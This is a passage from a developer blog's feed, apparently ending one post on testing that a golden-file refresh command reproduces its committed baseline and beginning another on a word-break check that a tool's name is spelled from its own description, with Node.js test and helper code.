&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(trace.runId, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;run-a91c&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the graded run is the one that was approved&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The assertion the whole baseline rests on. `update` is what a failing golden&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// tells you to run, so running it on an unchanged tree must give back exactly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// what is committed. If it does not, the golden is pinned to nothing.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the refresh command reproduces the committed baseline&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; work &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; mkdtempSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;tmpdir&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;baseline-&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  cpSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(HERE, work, { recursive: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; before &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(work, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;fixtures/report.golden&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  execFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;node&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;update.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], { cwd: work, stdio: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;pipe&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; after &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(work, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;fixtures/report.golden&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(after, before, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;update.mjs changed the golden on an unchanged tree&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running the refresh in a copy matters. Run it in place and a broken refresh overwrites the committed golden as a side effect of testing it, and then the comparison you were about to make has nothing left to compare against.&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ the golden matches the committed trace (0.334042ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ the refresh command reproduces the committed baseline (26.77375ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ tests 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ pass 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ fail 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prove it fails&lt;/h2&gt;
&lt;p&gt;A green two-line suite proves nothing yet. Reintroduce the original defect by replacing the three &lt;code&gt;source&lt;/code&gt; lines with the version that has no default:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; source &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; requested &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; latestSession&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ the golden matches the committed trace (0.311792ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✖ the refresh command reproduces the committed baseline (26.07875ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ tests 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ pass 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ fail 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✖ failing tests:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✖ the refresh command reproduces the committed baseline (26.07875ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  AssertionError [ERR_ASSERTION]: update.mjs changed the golden on an unchanged tree&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the whole bug, caught in one assertion. Note that the first test still passes: the committed trace is untouched on disk, so a check of the &lt;em&gt;inputs&lt;/em&gt; sees nothing wrong. Only running the refresh reveals it.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A default that reads the filesystem is a default that changes.&lt;/strong&gt; “No argument given, so use the most recent one” feels helpful and is the exact shape of this bug: the command’s behaviour depends on file modification times, which are not in the repository and differ on every machine. Escape: when a command has a committed artifact available, make that the default and make anything else explicit. Convenience belongs behind a flag whose name says what it will do.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Regenerating a derived artifact and rewriting a record are different operations.&lt;/strong&gt; This same release renamed three skills, and every generated artifact embedding an old name was re-frozen by re-running its own update command. The recorded trace was deliberately left alone, because it is a normalized record of a session that actually happened, and editing names inside it would assert something that was not observed. Escape: before a bulk rename touches a fixture, ask whether the file is &lt;em&gt;produced&lt;/em&gt; by your tool or &lt;em&gt;recorded&lt;/em&gt; from reality. Produced files get regenerated; recorded files are evidence, and evidence does not get corrected to match today’s vocabulary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Leaving the record honest leaves a mismatch, and that is the right trade.&lt;/strong&gt; The frozen report now cites current file paths against events that ran under the old ones. It looks like an inconsistency in the fixture and it is the only version of it that is true. Escape: write down why the mismatch exists next to the fixture, or the next person will helpfully fix it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A refresh test that runs in place destroys its own evidence.&lt;/strong&gt; The broken refresh writes the golden before you can compare it, so an in-place test either passes vacuously or leaves the working tree dirty in a way that looks like an unrelated change. Escape: copy to a scratch directory, refresh there, compare across the boundary.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bazel.build/basics/hermeticity&quot;&gt;Hermeticity, Bazel&lt;/a&gt; — the same inputs returning the same output, and why host state is the enemy&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reproducible-builds.org/docs/definition/&quot;&gt;Definition of Reproducible Builds&lt;/a&gt; — bit-by-bit identical artifacts from identical inputs, the property a refresh command needs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://approvaltests.com/&quot;&gt;ApprovalTests&lt;/a&gt; — the golden-master loop, including the re-approval step this post is about&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/eval/v0.2.0.png" length="28037" type="image/png"/></item><item><title>A metaphor always reads better at the moment you pick it</title><link>https://natejswenson.com/devlog/skillfactory/v0.3.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/skillfactory/v0.3.0/</guid><description>Three tools shipped under metaphor names and all three had to be renamed. This turns &apos;the name must say what it does&apos; into a check that runs before the name is spent, using a word-break over the description the author already wrote.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release adds a spec-time check that refuses a name saying nothing about the job, and renames the skill enforcing it from &lt;code&gt;smith&lt;/code&gt; to &lt;code&gt;skillfactory&lt;/code&gt;. The demo fixture moved too, from &lt;code&gt;tally&lt;/code&gt; to &lt;code&gt;repocount&lt;/code&gt;, because &lt;code&gt;tally&lt;/code&gt; fails the new rule and a scaffolder whose own golden output violates the rule it enforces is not enforcing one.&lt;/p&gt;
&lt;p&gt;The check is the transferable part. Naming guidance is usually a paragraph in a style guide that everybody agrees with and nobody runs, and it stays that way because “does this name describe the thing” sounds like a judgment call. It is closer to a string problem than it looks.&lt;/p&gt;
&lt;h2&gt;What a bad name actually costs&lt;/h2&gt;
&lt;p&gt;Three tools here shipped as &lt;code&gt;forge&lt;/code&gt;, &lt;code&gt;assay&lt;/code&gt; and &lt;code&gt;smith&lt;/code&gt;. None of those words says anything about generating GitHub Actions workflows, grading a run, or making skills, so every mention needed a gloss. All three were eventually renamed to &lt;code&gt;ghfactory&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt; and &lt;code&gt;skillfactory&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A rename is not a find-and-replace, because a name is not one string. Each of these had a directory, a plugin id, a slash command, a CLI binary, an npm package name, a required status check, and a release tag prefix. Every one of those is a separate identity that something else already points at, and the tag prefixes cut before the rename keep the old spelling forever.&lt;/p&gt;
&lt;p&gt;For an agent skill the name is also load-bearing at runtime. Anthropic’s &lt;a href=&quot;https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices&quot;&gt;skill authoring guidance&lt;/a&gt; is explicit that “the ‘name’ and ‘description’ in your Skill’s metadata are particularly critical. Claude uses these when determining whether to trigger the Skill in response to the current task,” and that only that metadata is preloaded at startup. The same page tells you to avoid “vague names: &lt;code&gt;helper&lt;/code&gt;, &lt;code&gt;utils&lt;/code&gt;, &lt;code&gt;tools&lt;/code&gt;.”&lt;/p&gt;
&lt;p&gt;Which is correct, and is advice. Advice loses to a name that sounded great on a Tuesday. Phil Karlton’s line, &lt;a href=&quot;https://martinfowler.com/bliki/TwoHardThings.html&quot;&gt;as Fowler records it&lt;/a&gt;, is that “there are only two hard things in Computer Science: cache invalidation and naming things.” The move is to stop treating the hard part as a matter of taste and check the part that is mechanical.&lt;/p&gt;
&lt;h2&gt;State the rule so a machine can check it&lt;/h2&gt;
&lt;p&gt;Here is the rule that turned out to be checkable:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Every hyphen-separated segment of the name must be spellable out of words that already appear in what the thing says it does, allowing for a role word and for an abbreviation whose expansion is in the text.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Three pieces to that, and each exists because the naive version is wrong.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“Spellable out of”, not “appears in”.&lt;/strong&gt; A name is rarely a word from the description verbatim. &lt;code&gt;repocount&lt;/code&gt; is &lt;code&gt;repo&lt;/code&gt; plus &lt;code&gt;count&lt;/code&gt;, and the description says “repository” and “count”. Substring matching finds neither.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Role words are exempt.&lt;/strong&gt; &lt;code&gt;factory&lt;/code&gt;, &lt;code&gt;report&lt;/code&gt;, &lt;code&gt;sync&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;stats&lt;/code&gt; describe a &lt;em&gt;kind&lt;/em&gt; of thing rather than a subject. They carry no domain meaning, so they cannot be the metaphor you are trying to catch, and demanding the description contain the word “factory” would be silly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Abbreviations need their expansion present.&lt;/strong&gt; &lt;code&gt;gh&lt;/code&gt; is fine when the text says GitHub and meaningless otherwise. Two-letter pieces are the easiest way to accidentally spell anything, so they are admitted only from a table and only when the long form is really there.&lt;/p&gt;
&lt;h2&gt;Spell the name out of its own description&lt;/h2&gt;
&lt;p&gt;The implementation is word-break reachability: walk the segment left to right, and mark position &lt;code&gt;j&lt;/code&gt; reachable if some earlier reachable position &lt;code&gt;i&lt;/code&gt; leaves a piece &lt;code&gt;segment[i..j)&lt;/code&gt; the vocabulary earns. Save it as &lt;code&gt;namecheck.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Does the name say what the thing does?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// A name is the only part a person sees before deciding whether to use it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The rule: every hyphen-separated segment must be spellable out of words the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// description already uses, give or take a role word or a known abbreviation.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; STOPWORDS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;([&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;the&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;and&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;for&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;that&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;this&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;with&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;from&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;when&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;what&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;your&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;you&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;into&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;they&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;them&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;use&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;uses&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;used&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;not&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;are&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;was&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Words that describe a KIND of thing rather than its subject matter. These are&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// always allowed: they carry no domain meaning, so they cannot be a metaphor.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ROLE_WORDS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;factory&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;report&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;sync&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;eval&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;kit&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;log&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stats&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Two-letter abbreviations, admitted only when the expansion is in the text.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ABBREVS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { gh: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;github&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, db: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;database&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, ci: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;continuous integration&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MIN_STEM &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; vocabulary&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spec) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [spec.summary, spec.description, spec.oneRule]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Boolean).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;toLowerCase&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; words &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;match&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/[a-z]{3,}/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; []).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((w) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;STOPWORDS.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(w));&lt;/span&gt;&lt;/span&gt;
